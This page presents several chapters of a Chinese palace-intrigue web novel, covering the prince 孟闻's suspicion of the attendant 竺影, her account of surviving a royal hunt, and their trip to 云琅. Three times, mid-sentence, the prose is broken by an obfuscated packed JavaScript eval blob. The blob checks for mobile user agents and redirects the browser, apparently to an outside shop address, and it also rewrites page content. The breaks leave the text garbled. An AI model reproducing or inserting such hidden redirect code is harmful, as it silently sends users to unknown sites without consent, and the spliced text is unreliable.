“当然。”竺影道,“一辈子担着莫须有的罪,我不愿那样过活,父兄也不愿。” 祝从嘉低下着眼睫,没再相劝。 竺影只送他到东宫门口,止住步子不再上前。 “趁着雨歇,令君早些回去。” “你也……”祝从嘉回望向她,遗憾道出两字,“珍重。” 他来时未有惊扰,离开也不曾张扬。 竺影站在滴雨的檐下,无言目送着他。 宫道上积了雨水,在白日里亮堂堂的,如明镜映照出他的身影。长袍广袖垂下,难免沾染些泥泞。 26. 春回醒枝(六) 宫人送那位先生归去后,不觉雨也停歇,洗春阁里静悄悄的,偶闻檐下滴雨声。 孟闻在书阁二楼,坐在竺影曾落座的书案前。案上摆着她曾翻过的一卷《文赋》,尚展开着,页末止于一句:“精骛八极,心游万仞。观古今于须臾,抚四海于一瞬。”* 他一字一字卒读,听木台阶的踢踏之声也越来越近,直至落到他跟前。 商音上前来,拱手禀报:“殿下,章太医来了。” 孟闻道:“传他去恩光殿罢。” 章太医本是来为那女官复诊的,却先去见了太子。 待孟闻回到恩光殿,太医从药箱里取出个小匣子,揭开里三层外三层的绸布,恭恭敬敬捧送至太子面前。 章太医道:“殿下命下官查验这些果脯,此物在炮制之时,应当用硫磺熏制过,不宜多食。” “硫磺?”孟闻稍显讶异,不由扣紧了白玉扳指。 章太医又解释说:“民间常用此法,可使果脯保存得久些。只是宫中膳食断不会依此法炮制,敢问殿下,此物究竟从何而来?” 孟闻不答,收拢了那些果干,面上平静道:“有劳太医,且勿让他人知晓。” 章太医遂不问了,只颔首应是。 孟闻又道:“今日还要劳您太医前去为我宫中女官复诊。” “下官分内之事。”章太医拢袖行了一礼,便辞去了。 孟闻一个人在殿中,凝睇那几枚灰褐干瘪的山黄皮,久矣不能平复。 商音又入殿中来道:“殿下此前命我查办的事,已有了眉目。” 孟闻没有转头,依旧低沉眉目,宛如沉思,慢慢道:“且说来。” 商音回禀道:“鸿嘉殿确实有一内官,名唤长芨,昨年冬在秘阁当值,十一月初五摔伤了腿,告假修养了半月。” 十一月初五,正是竺影第一次去西苑。 孟闻道:“时间是对得上了,可秘阁的人是怎的调去了御前?” 商音道:“冬至后,陛下召几位大臣入宫赏雪,长芨是跟随秘书令去的,不过说了几句讨喜的话,引得陛下展颜,陛下就让他到御前侍奉了。” “原来如此。”孟闻轻嗤道,“皇兄与秘书令,何苦绕这么大一个弯子?” 他读完《文赋》的那页,合上封面将其放回书案一角。 商音几番忖度,又向他请示:“属下还查出一些事,是关于竺宫人的……殿下是否要听?” 孟闻抬头,道:“说吧。” 商音道:“她初到掖庭时,与女郎君一样,原本只是个粗使宫人,在掖庭当值。可不知后来发生了何事,竟犯下大过,是在十一年秋,她与其他罪奴一道被送去了林场。” 孟闻问:“可知她犯的什么罪?” 商音答道:“下毒,她在宫宴上毒害薛贵人。” “下毒么?竟会是她做的?”孟闻抬眼扫过桌上散落的山黄皮,目光最终落定于那卷书的封面。轻轻叹过,又低敛眉睫如初。 倒与过往有些割裂,不似同一人。 他道:“还查到什么,尽数说来。” 商音道:“毒害妃嫔本该是死罪,可是进了林场,也与死差不多。我问了当年去过林场的人,那些被罚入林场的罪奴都死了。不是被马匹踩死、乱箭射杀,便是死于虎狼之口,只剩她一个还活着。谁也没想到齐王阴差阳错将她救下,又带回宫里。” 孟闻道:“这就是全部了吗?” 商音道:“只查出这么多。” 孟闻似想到了什么,喃喃自语:“那么她又是如何与孟觉扯上了关系?仅仅因为她对薛贵人下毒,你真信了他们明面上的那点母慈子孝?” 他虽与之多年不见,对两位兄长的秉性,还是了解一二。 商音道:“那这样的人,殿下是否还要留着?杀了她,恐得罪齐王,留着也终究是个祸患。” 太子忖度了许久也没给出个论断,看来是真为此人犯了难。 她也是个不知死活的,胆敢与这么些人扯上关系。 思来想去,有些头疼。 杀也不是,不杀也不是。 他一下一下叩着桌面,低声叹道:“襄王、齐王、静和宫、鸿嘉殿……有多少双眼睛正盯着这里啊……” 商音道:“今日襄王派了人来,说是要与殿下同往并州,便于协助殿下,实际就是……” 逼他做个抉择。 离启程只剩短短四日。 孟闻起身行至窗前,似自问道:“说什么协助,看来并州也有他想要的东西?” 商音道:“自然。陆尚书回京后,北地之事便交由梁氏接管,襄王与其牵扯深广,定然会有所担忧。” 殿外有人叩门,徴音为太子端了药来,搁在案上。 孟闻仍站在窗前,徴音出声提醒道:“殿下,药煎好了。” 孟闻道:“先放着罢。” 商音皱了皱眉,问:“殿下近日染病了么?” 徴音本想开口解释,孟闻却道:“近来疲乏,于是命人备了一碗安神汤。” 他缓缓侧目过来,看着商音,本欲开口问:我能否信得过你? 毕竟这是皇帝指派给他的人。 末了,他没问出口,只道:“届时你且留在宫中罢,同行之人,我另有人选。” 也不等商音再回话,便端起那碗汤药,独自踏出门去。 已过正午,日头西斜,昏黄的阳光透过门框与窗格,漏进屋子里,铺陈了数格光影。 章太医刚走不久,陆芃正在为竺影敷上膏药,细细缠上布条。 几道不重的步行声渐近,屋中落下一道影子,有人走进屋中来。 见是太子,竺影要起来行礼,被陆芃摁了回去,又重新缠了一遍布条。 “啧!”陆芃咕哝道,“没包扎好你乱动什么?” 孟闻没有说话,只端了碗药放在案上,碗底磕不轻不重的声响,使竺影忍不住窥了一眼。待他收回手,灰褐色的药汤还沿着瓷碗边缘晃荡。 陆芃随口一问:“太医还开过别的药吗?” 他并未解释,只撂下一句:“你先出去。” 竺影刚要站起来,又听他道:“没叫你出去。” 陆芃道:“这又是怎么了?” 孟闻道:“出去。” 他依旧那副样子,一手握成拳垂在袖间,神色微嗔。 陆芃为竺影包扎好,剪去多余的布条,将剪子往案上一扔,气鼓鼓走了。 商音将两扇门合上,顷刻屋中顷刻暗了一片。 竺影这才看着他,在昏暗的光线下,有一半身形匿在窗纱的影子里。 她问:“秘书令已经回去了,殿下可还有事?” 孟闻捋起垂下的阔袖,露出手来,摊开伸到她眼前。 他问:“这个你可还记得?” 竺影看到他掌中展开的绸巾,里面包裹着那几枚果干。 她微微点头道:“记得的,殿下。” 孟闻道:“太医署的人查验说,这些山黄皮全都用硫熏制过。” “怎么可能?”竺影死死盯着那所剩无几的“罪证”,话音又坚定几分,“绝无可能。” “听徴音说,这是你特意送来的。” “是。” 他忽而戏谑:“难不成有人要诬陷你?你不妨看仔细些。我倒不急着定罪,给你辩解的机会。” 如何去辩? 她一扬手本要拍案而起,却只能死死撑住案角,强迫自己冷静下来。 给冷宫里送这些本就不是她的本意,不过是陆芃所托,她顺手而为之,谁能想到问题恰恰就出在这里? 她不曾动过手脚,有机会做手脚的人,不是陆芃,就只剩陆皇后身边的人了。 总之不论是谁,在孟闻眼中都比她这替罪羊更可信些。 孟闻问她:“你懂医术,算半个医者,医者也会下毒吗?” 她答:“难说。医者只会更善用毒,知道什么样的毒可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564190|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以了无痕迹,杀人于无形。如果真是我做的,还须得只身前往西苑,当面送上这么明显的罪证,是我蠢还是殿下蠢?” 他再道疑虑:“可我想知道,山黄皮为岭南所产,你在深宫之中,如何有本事弄得到?” 她不知道屋外的陆芃是否能听到,她情愿是陆芃不知情,为旁人利用。 竺影强撑着直起身,平静道着谎:“我的家人获罪流放到那里,那些山黄皮是去年随家书一并托人捎回来的。” “家书?”他像是觉得不可思议,在反复确认。 竺影失笑道:“奴婢也是人啊,也是有家人的。” 孟闻看着她,道:“那孟晓知道吗?” 一字一句落下,她面上再难见笑意,取而代之的是脸庞低垂,缄口不言。 “看样子是不知道了。” 孟闻替她答。 “齐王从来没有生过谋害皇后的心思,安知不是有人暗中挑拨?”她停了一会儿,某种不属于她的悲哀,像雾霭莫名聚在心头,朦朦胧胧地让她自己也看不清。她又道,“我也没有。” 虽是实话,声音却一点点低落下去。 孟闻道:“你连自己都辩不清,怎么替他人作保?” 他胸中有千言万语未诉出口,最后却凝成了一句:“我本不该信你。” 可当初她一次次冒着风雪前来,裙裾与鞋袜具浸湿在雪里,一为送书,二为送药,三为送松枝,那样子又如此虔诚。 那时他心想,纵使有害人之心,也不必这样费周章。于是他想知道,值得她为之蹈风赴雪奔忙的,究竟是什么。 可他还是错了,欲念是会害死人的。 这些将呼未呼的话,化成一道似有若无的叹息,轻飘飘带去所有情绪。 孟闻端起原本搁着的药碗,递到她面前,语气稀松平常。 “药凉了,喝吧。” 竺影的视线落在那碗药汤上,她何德何能,能让太子亲自端药? 那玉色的指节扶着碗缘,却像扼在她喉间。 “我无病无痛——” “喝了。” 那碗又往她面前递了几许,没留拒绝的余地。 竺影战战兢兢捧过药碗,一饮而尽,古怪的药汁里,苦与甜泾渭分明。 俯仰之间,听得见心跳声。 他突然发问:“就不问我给你喝的是什么?倘若是会令你穿肠烂肚的毒药呢?” “殿下,竟不先给我安个罪名吗?”竺影笑着问。 她五指扣着空碗,费尽力气将碗放回桌案上,却还是一个不慎叫它滚落在地,裂成了几瓣。 陆芃听到屋里的动静,想要进来看看,被商音抬手拦在门外。 “女郎君,你不能进去。” 竺影已懒得顾及门外人在争执什么,只觉得地上的碎瓷尤其碍眼,惹人心烦。 她想俯下身去收拾,转被孟闻扼住手腕,如陷桎梏。 “松手。” 明明箍住她腕骨的是他,说这句话的也是他。 竺影尚不知其意,他已一点一点掰开她的手指,夺走她攥在掌心的碎瓷片,丢掷在地。 手掌上鲜血淋漓,连他锦袖上都沾染几滴,她却没有察觉半分痛意。 伤在他手。 血液沿着他骨节的凹陷处流下,他低敛的眉睫终宽和了些,面上慢慢浮现忍俊不禁的表情。 竺影额发汗湿,面色苍白,惶恐地盯着他看。 她素来看人很准。 她以为他活过了上一个冬日,活着走出西苑。 不想在昔日少年的皮囊里,只剩下一个疯子,藏在齐楚衣冠下。 睢言不顾指上的血渍,挽起竺影耳边垂下的鬓发,绕在指尖。 暮光映照下,他也在观她。 半晌,竟不忍失笑:“不过吓一吓你,怎么脸都煞白了?原来也是惧死的啊……” “怕死的话,又是怎么敢在我眼皮子底下,帮齐王办事的?” 27. 春回醒枝(七) 竺影心口颤了颤,下意识还是想回避。 往后一仰,一缕鬓发还缠在他指尖,鲜血一滴滴渗进她发丝里。只有几丝几缕,却像一盆凉水,浇得竺影浑身冷透。 “小人岂敢?”她想退而退不得,声音也发颤。 “你不敢么?”他眉眼弯起,唇边带着笑,像是在听一个笑话。又道:“想知道为何你处处慎微,却还是被人捉住了端倪?” ……她何时露了馅?被这人捉住了把柄? 竺影清晰地意识到有汗珠自她额上滑落,留下痕迹的地方有些发痒。 下一刻,他竟说:“正是因为你太谨慎了,什么错处都没有,这才是最大的破绽。” 竺影哑然。 她在心里痛骂,这来日的昏君啊。 欲加之罪,何患无辞! 她张了张嘴,终是没忍住辩驳:“殿下不惧杀伐,要处置谁无非一句话的事,何苦特意端了一碗药来,戏弄小人?” 孟闻反问:“是你先戏弄我的,不是吗?我听来些许风声,有关你的过往,当年因毒害妃嫔,与那些死囚一并送进林场。东宫的女史,本应该是个死人罢?是谁帮你改了名,换了姓,使你活到了今日?” 竺影不语,孟闻替她道:“是齐王。” 若真如此,那她还真是罪无可恕。 竺影认命似的闭上眼,说道:“倘若殿下认定小人有罪,且将小人拖出去,就地杖杀了,岂不省事?” 孟闻敛了笑意,说道:“你以为我不敢吗?” 陆芃听到这动静,再也坐不住了,揪着商音质问道:“里头到底发生了何事?是你同我表兄说了什么?” 商音面无表情别过脸去,无可奉告。 她便自己去敲门。 “表兄,我正有事,你先开门。” 竺影转过头去看了一眼,又被孟闻拽了回来,偏不应门外的人。 “表兄,开门。” 急促的敲门声转而变成大力的砸门。 “孟闻!给我开门!你到底发的什么疯?” 可是无一人理会,她着急了,索性直接踹门,一旁的商音也拦不住。 巨大的动静像是要把他这宫殿都拆了。 孟闻闭上眼睛,对着竺影无可奈何道:“你可真有本事。” 随即撒开了手,前去开门。 陆芃见了人,赶忙抹干了眼泪,先对孟闻劈头盖脸一顿痛骂:“因何又要打打杀杀?你有什么话不能先问我?好好的又逼问她做什么?” 后骂竺影:“你从前的谄谀哪里去了?宁死也不肯说句软话是吗?” 孟闻一手拦着门,不让她进去,面无表情道:“这些事与你无关。” “怎么就与我无关?”陆芃哭着道,“当年在掖庭犯下错的是我,原本要被送去林场的人是我,她是去为我顶罪的!” 万万没想到。 “怎么会是你呢?” 他明显有一瞬的愣神,不过又很快归于平静。那一瞬是权衡,怜悯,还是不可置信,竺影看不懂。 起初他笃定,这女官与襄王、齐王的纠葛始于多年前的一场秋猎,可未尝料到始作俑者并非是她。 下毒者另有其人。 孟闻垂下眼,冷声斥她:“你该住口了。” “让我进去。”陆芃才不管他说了什么,只顾着挤进屋子里。 屋里散落着碎瓷片,地上掺着几点血迹,她忙捧起竺影的手,问她:“哪里来的血?” 孟闻扶着门框,在乌木上留下几道血印。 他看了门外的商音一眼,心情颇为沉重。 屋中尚有不可信之人,屋外也是。 可是眼下,他无法再逼问了。 只吩咐商音:“回去,遣人来收拾这里。” 商音应了声“是”,便也退下。 一片狼藉,潦草收场。 只是经此一遭,竺影接连两日没去洗春阁,陆芃拦着不让她去了。 陆芃如今留在东宫,太子向杜修容开了口,修容也乐意送他一个顺水人情。 可她还是成了孤女,沉冤昭雪之前,只能藏在深宫中,一日一日数着年月过活。 孟闻很少问起她的事,不欲去揭她过往伤疤。 那些陈年旧事如一柄利刃悬在心口,使他不得不去在意,不得不去探究。 日子滑过了三两日,雨过了,天晴了。 陆芃独自一人在亭子里,配置新的香料,借此打发时光。 见孟闻来了,她也懒得起身行礼,只是寒暄一句:“太子殿下,今日得闲了?” “嗯。”孟闻淡淡应了一声。 陆芃道:“我又新配了几味香料,可以宁神,装进香囊里,你拿去挂在书房吧。” 她递过去香囊,本要就此打发了他。 孟闻却顺势坐下。 陆芃叹道:“想问什么,就问吧。趁我还情愿说。” 孟闻遂问起:“你与她,从前就认识吗?” “很早就认识,在她入宫以前。”陆芃没有否认,也没说起更多,就好像她们之间仅仅是相识。 “后来呢?” 陆芃道:“后来你知道的,她父兄获罪,我家中遇难,就都进了宫。” 孟闻道:“我问的是,她是怎么到了静和宫?” 她动作忽然一滞,又装作若无其事地捣着香料。 “表兄问我吗?静和宫里的事,外头的人哪里知晓?” 孟闻道:“我若能问静和宫的人,就不会来问你了。” 陆芃避重就轻道:“我只知晓齐王曾于她有恩,或许留在静和宫,是为了还这一桩恩,她最不喜欠旁人恩情。又或许——齐王许诺了她什么事。她有没有同你说起过,她情愿进宫,是为了救她家人?不然她本不必像我一样,被关在这里。” “她与孟晓呢?” 陆芃仅仅撂下一句:“不清楚。”又开始费劲捣起香料来。 “当真不清楚?” 陆芃道:“不然呢?我从前在栖梧宫,闲着没事打听静和宫的事做什么?” “好,我知晓了。”孟闻像是察觉到什么,却也没在问下去。 临走时,陆芃突然道:“表兄,你带她去云琅吧。” 孟闻问她:“是她让你同我说的?” 她点点头,又摇头。 矛盾得很。 “是我替她说的,我欠她的。” 哪怕多年隔阂,陆芃自以为还懂她。 竺影没给出他想要的回答,这几日气氛有些紧张,她压根不想多到孟闻眼前晃悠。 直到徴音替太子传话,寻到竺影房中。 “殿下要见你。” 话音落下,屋里也落下一声微不可察的叹息。 竺影放下手中的书卷,起身道:“你带我过去吧。” 徴音却道:“殿下不在恩光殿里,在揽春台。” “揽春台?” 竺影不知道他为何偏偏选了这么个地方,须知不久前的春宴,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583270|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是在这里与孟明谌见了离京前的最后一面。 大晚上的,提灯走夜路,她到底还是有些心虚。 无数的枝条横在夜幕中,撕裂了惨白的月亮。 竺影站在台阶上仰头张望,他站在春台上,唤她上来。 她拾阶而上,目之所见也愈发开阔。果然这处风景正好,可以看到一整轮完整的明月。 可是再走近一些,她就不敢了。 他一个人站在那里,周围没有旁的侍从,玉冠在夜里散着莹莹微光,轻薄的广袖浸在月光里浮摆。恍然间,如遗世独立。 竺影停在离他很远的地方,行礼道一声:“殿下。” 闻声,太子的目光倾过来,他说:“走过来些,这处月色更好。” 谁来与你赏月啊? 竺影暗自咕哝着。 正是两党相争,剑拔弩张之际,她满心忐忑前来赴约。 这人却说今夜月色很好,邀她到春台之上,赏同一轮月光。 他好像忘了,前几日他曾以她性命相要挟,迫使她屈从东宫。 竺影没给出他想要的回答。 春台落下的月光成绮,夜风微凉拂过钗头,惹得碎发如愁绪飘动。 今夜的他,却过于温和。 这温和让人不寒而栗。 竺影慢慢朝他走过去。 待她过去了,孟闻却只是赏月,不开口。 “殿下应当有许多话想要问我,为何此时没有问起?或许殿下想知道当年竺家流放三千里,我又是如何入的宫。想知道我是怎么从林场里活了下来,襄王的腿伤又是怎么来的,还有……他为什么恨我。” 他目光侧过来,看着她道:“可以不说。” 他为何不问了?是因着她替陆芃顶罪的事,于心不忍吗? 其实她早就备好了那一套措辞,只等他问起的。 竺影道:“其实没那么多弯绕,几句话便可说清,也免去殿下每日猜忌了。” 孟闻偏过头,其实他不想在此时听这些,他只信人濒死时的“真话”。 可当她慢慢说来,如弯绕的风一样柔和,孟闻遂由着她去说了。 “宁朔十一年,天灾过后,秋草稀,走兽绝。 “本该封山、休渔,让天地万物休养生息。皇家却在林场办了一场极尽荒唐的秋猎。林场里没有足够的猎物,是故死牢里的囚徒,犯了错的宫奴,都成了诱饵,诱着藏于深林的豺狼虎豹出没。 “我也在其中。” 孟闻显然高估了自己,他无法做到眼前人这般平静,平静地诉说国朝残酷而荒唐的所为。 他问:“既不是你的罪过,为何要去?” “因为殿下的表妹,她蠢啊。她去了必死无疑,而我,有三两分把握能活。” 竺影接着道:“十二岁那年,我随父亲去过一次林场,熟知那里的地貌,知道怎么用草药遮掩气息。所有的人中,我是藏得最好的那一个,我以为这样就能活。可秋猎结束前,襄王还是找到了我。他挽弓策马从我身前过,箭矢了对准我的胸膛,就是这儿。” 她轻点了点自己的心口,不知怎的就笑了。 “竺影。” 孟闻不想再听她说下去。 这一声呼唤并没能使她停下。 “倘若那一箭射出,我必死无疑。可惜啊——他骑艺不精,从马上摔下来,断了腿。那时,还是二皇子的齐王看到了一切,他知道是我做的手脚,是故——他留下了我。所有的一切,就是如此。” 28. 春回醒枝(八) “我说完了,殿下。” 竺影睁着一双明亮的眼直视他。 这些话中,难得没有谎。 她言说过后,孟闻却缄默了,喉间哽住了似的,始终没有开口。 只看她眼中亮晶晶的,像盈满了月光,仿佛再多一些就溢出了。 往仔细了看,那不是月光,是泪光。 可那她的泪终究没溢出一丝半点,很快随风干涸了。 并非出于恻隐,他只是不愿见人这幅情态,这幅样子。 那双眼怎么看,都不像装着那么多阴谋。 否则他想不出,是什么样的情谊,值得她为了旁人甘愿走进围场,乃至连性命都不顾。他没有问,陆芃也没有说。仅有只言片语轻飘飘地带过,拼凑出一个并不完整的她。 他不说话,竺影又开口道:“小人斗胆,说了这么多,放肆了。殿下可还有其余话要问?” “没有了。”孟闻看向别处,说道,“叫你来,不是问这些的。” 竺影道:“若无旁的事……” “有。”他答得干脆,不给她半点临阵脱逃的机会。 孟闻记起此行的目的,问她道:“你在云琅长大,对并州的事,了解多少?” 竺影想了想,回道:“我十二岁就随父亲到京城了,此后再没有回去过。从前的事,记不得多少。” 孟闻道:“若我说,此次并州之行与你父兄有干系,你仍旧作此答复么?” 竺影愣了,原来在这儿挖了坑等着她,还是承认了她的欺君之罪吧。 “殿下恕罪,小人虽忘了许多事,但仔细想想,也是能依稀记得起一些的。” 孟闻道:“侍郎容桢,与孟觉派来的人,我皆信不过,此行,我需要你与我同往。” 竺影觉得有些不可思议,莫非在太子殿下眼中,她就信得过了? 岂不知不久前,她还是被宜夫人推出去顶罪的替死鬼,谋害陆皇后的嫌疑尚未洗清。 这一切都太过顺遂,她不知孟闻是何时开始转变,或许是陆芃同他说了什么。 孟闻道:“不久前,襄王曾向我讨要你,我当时说,留你有些用处,如今该是兑现之时。” 竺影道:“小人记得。” 这话落在竺影耳中,就是赤裸裸的威胁。 若她有朝一日背弃了东宫,或是于太子毫无用处了,太子会如何处置她? 把她交给孟觉吗? 旧恨加上新仇,孟觉自有千百种方法,叫她生不如死。 她此时不敢反驳。 孟闻又道:“可曾听闻鸿初年间发生的一件事?” 竺影问:“是何事?” 孟闻道:“多年前,会稽的周家出了个世间鲜有的英才,名声之大,甚至盖过了当今祝令君。后来民间就有了传闻,说得此子与祝君,则天下可定矣。然而上京的人不蠢,谁都看得出来,是有人在借机造势。后来流言传入了宫中,先帝召那周生进京,要试一试他的本事。你猜后来如何?” 竺影道:“周生有谋,却不知审时度势,今上方一即位,便杀了他。” 她曾听人说起过这件事。 不论是朝中重臣,还是一国天子,都不容许搅乱国朝稳定,打破朝堂平衡的因素存在。 再好的利器,也要握得住,才能称得上有用。 至于那些不堪为用的人,斩草除根一劳永逸,是最简单的办法。 孟闻道:“你很聪明,这也就是为什么孟晓留下了你。可聪明也不见得是好事,有时,会害了你的性命。” 聪明? 说的是她吗? 竺影还以为他喻指的是如今的祝从嘉。 他接着道:“留你这样的人在身侧,是变数,也是祸害。我不敢赌,也没心思去赌你的忠诚。” 他果然还是不能完全信任她。 孟闻道:“我明日将往北地,至于你是否要跟着去,来日是要留在东宫还是齐王府,由你自己来选。” 他说完了便拂袖而去,将要离开这高台,不给竺影忖度的时间。 真是个狡猾的人呐。 竺影一边想着,一边跟上他。 月色广袖翻飞在她眼前,他的发丝一丝不苟地被束起,唯有两条发带在飘荡。 月亮一寸一寸地西移,慢慢被高处的枝柯割裂。 他明知她父母在并州,知她故土在云琅。 权宜之计,眼下除了东宫,她根本别无他选。 但这位太子也是可怜,偌大东宫,竟连一个可信之人也无,不然怎会将筹码落到她身上呢? 竺影一面追上他,一面说道:“愿与殿下同往。” “好。”他唇角牵起一抹弧度,“行李已替你收拾妥当,明日卯时动身。” 竺影哑然,他就没有考虑过她会拒绝吗? 回到东宫,她房间的灯竟亮着。 推门进去,原来是陆芃正在给她收拾衣裳。 陆芃道:“听闻北地很冷,你多带几件外衫吧。” 竺影问:“去并州的事,是你跟他说的?” 陆芃道:“我没说更多,更没有说你和祝家的事。” “嘘——”竺影比了个噤声的手势,又将陆芃装好的衣裳拿出来几件,“开春了,并州不会冷。” 陆芃道:“你多少年没回去了?岂知现在的并州是什么物候?” 竺影听完默了一阵,并州云琅城是她的故土,可她已经很久没有踏入故里。 整整八年。 于她而言,那个地方实在算不上熟悉。 陆芃察觉她情绪不对,便与她聊些别的事:“今日我要替你装一套墨宝,竟被我那表兄责骂了,他同我板着脸道,这些无用的物件少带些,她又不是去消遣的。你瞧瞧,他说的什么话?” 她奚落完太子,竺影又笑了。 竺影几乎一整夜没睡好,她要去云琅的事,太过突然,没机会告知任何一人。 孟晓不知道,祝从嘉也不会知晓。 像是孟闻有意而为之。 前路未知,怀着一种怪异的情愫,她随东宫的队伍,踏上只属于她的“归途”。 除了护卫的数百甲士,太子此行只带了角音这一个亲信,那个叫做商音的没有跟过来。 竺影同照顾太子饮食起居的宫人挤在同一辆马车里,跟在他的轺车之后。 而后是随行的官员,有十余个,竺影只认得容侍郎。 这一路行得很慢。 初春的郊野,没有什么好景致,途中也颇为无聊。 那几个宫人同她聊不到一块去,竺影一个人时,只能靠翻书消磨时间。带的书也不多,一篇叹逝赋,她翻来翻去读了数遍。 又入夜了,离最近的城池还有八十余里,队伍已经疲乏不堪,连拉车的马屁也驱驰不动,只得在野外驻扎暂歇。 星垂平野,旷地上升起了篝火。 竺影坐在火边,没什么事做,依旧是翻书。 角音捧了一堆柴薪过来,骨碌碌一把丢进火堆里,溅起噼里啪啦的火星。竺影赶忙合书退远,却还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啧。”竺影暗骂了一声,挪着步子穿过稀稀落落的野草。草上露珠挂在她裙摆上,等到膝上传来寒意,腕骨也隐隐作痛,竺影她才发觉,北边的春来得更迟,夜里还有寒露。 竺影道:“这儿冷啊,殿下,怎么不到篝火那儿去?” 孟闻道:“人多,太聒噪。” 若是嫌人声嘈杂,大可以将那些人赶离篝火堆,他偏偏不这么做,只是一味拉她一起吹风受冻。 原来刻薄的太子殿下也怀揣着一颗仁心,不忍旁人受冻。 怎么?他的仁心分给了别人,刻薄只分给了她么? 竺影又腹诽许久。 孟闻就着干草堆,席地而坐,继而看向她:“同我说说云琅的事。” “啊?”竺影也坐到他身边去,问他,“云琅的事多了去,一时半刻讲不完的,殿下要听哪一些?” 他道:“还有四日才能到,时日长得很,便从最远的说起。” “哦。”她不情不愿地应着。 原来拿她当消遣。 于是她真挑了最远最远的话头,慢慢说起: “梁国之北,有山高耸入云,山间雾霭环绕,凝聚似琳琅,风过如鸣玉,故而当地人将这山唤做云琅山…… “山下有城,亦名为云琅。” 29. 春回醒枝(九) 快到时,孟闻叫她把车帘放下,车舆里倏尔变得昏暗。 云琅瞿太守及一众官员,早已经在城门外敬候着了。 然而,随着轺车缓缓驶向城门,竺影发觉自己并没有想象中的那般期待。 她明明知道,那里已经不剩下什么。 透过车帘狭窄的缝隙,只能看到外头的一丁点光景,除此之外只能辨听。 外面安静极了,没有人声,只有马蹄声阵阵,车轱辘碾过土砖的声音。这一段路很平稳,当是刚刚铺设了新路。 此时的云琅,不会有百姓高声喧闹,奔走相告。 没有人会因君主驻跸而喜悦,他们所能想到的,只有国朝永无止境的剥削。 这座城跟她所说的云琅,宛若泥地与云端,两模两样。 就连车马扬尘的气息,都与从前大不相同。 至于车上的太子殿下,他合书放在膝上,在座上端坐着,一言不发,活像一尊雕像。 竺影看了他一眼,转又瞟向车外。 马车离了人群,驶过几棵高大的青松,长驱直入向城北而去。 马车突然停住,竺影一个没坐稳,身体向前摔去,便赶紧伸手一扶,攥住了孟闻手里的书…… 竺影仰头尴尬地笑了笑。 他嘴角一抽,似无奈道:“给你。” 太子只一松手,先行下了车,那本叹逝赋又回到了她手中。 一路舟车劳顿,总算是到了。 竺影下了马车,抬头看去,只见着古朴的府门,门上挂着四四方方的乌木匾额,赫然写着金灿灿两个大字——梁府。 也是曾经的竺府。 现如今,这座府邸的主人是并州中正梁叡,也就是中书令梁元颖的族弟。 身后忽然有宫人唤她,竺影收回了视线,垂首讷讷叹息。 梁氏的人已经迎太子与几位随行官员入府去了,剩下的内官忙着搬运行李。 竺影与那几个侍奉殿下起居的宫人聚在一块,从偏门进去,一路到了后院。 坐了数个时辰的马车,她们还没来得及歇息,一个个抱起床帐褥子,随管事去了为太子准备的客舍。 那是一间四四方方的院落,庭中宽敞又明亮,一棵石榴树卷曲着枝干攀上院墙,在主屋前落下一片阴。两侧各有一间耳房,留给随行的侍者。 宫人们进了门,先把原有的陈设撤了,随后利落地铺好床褥,悬了床帐,置上软枕与锦衾,又将太子可能会用上的墨宝、茶盘什么的,也一并摆了出来。 竺影单单抱着一本书,不知道该做些什么,只顾在一旁碍事。 里间布置好了,又该焚香。 宫人本拿了宫中的香料出来,梁府的内院管事却唤来一个童子,捧了错金螭兽香炉出去,随后请几位宫人将屋里的暖帘都放了下来。 不久,有仆从来禀,太子从前厅过来了。 管事便将那暖帘卷了起来,香气竟从地缝、砖缝里渗透而出,不知不觉蔓延了整个里屋。 连宫中人都不免感到惊奇。 竺影也觉得惊讶,姓梁的,当初竟然连她家的墙都拆过一道了啊。 管事笑着解释说:“如此焚香,方不见烟气。” 有宫人道:“只惜殿下未必会喜欢这香,下回还是用我们自己带来的吧。” “是。”管事连连点头,“有劳几位贵人了。” 太子来到内院,角音跟随其后,梁府的仆从跟在最后头。几位官员分在了另一处院子的客房,独他这里宽敞又僻静。 孟闻从回廊走进树荫里,进门解了外衣,脱去鞋履,剗袜步上木地板,另有宫人接过他摘下的环佩与戒指。 卸去周身桎梏,他才如释重坐在榻上,费劲揉了揉眉心。 也不知道方才在前厅聊了些什么,惹得他如此精疲力竭。 趁他还没躺下,竺影凑上前去,问了一句:“殿下,我能四处走走吗?” “去哪里?”孟闻问她,“是在城中,还是在这院子里?” 竺影道:“就在府里。” 他没多想,点头道:“可以。” 她得了准许,行过礼便迫不及待出门去。 “角音。” 孟闻又唤角音前来。 角音道:“属下在。” 孟闻道:“你跟着她去。” 角音极不情愿:“凭什么?” 他只负责保证太子的安全,至于东宫的宫人,与他有何干系? 见使唤不动,孟闻遂换了个说法:“去盯着她。” 果然啊,他就猜到此女子有问题。角音当即点点头道:“这就去!” 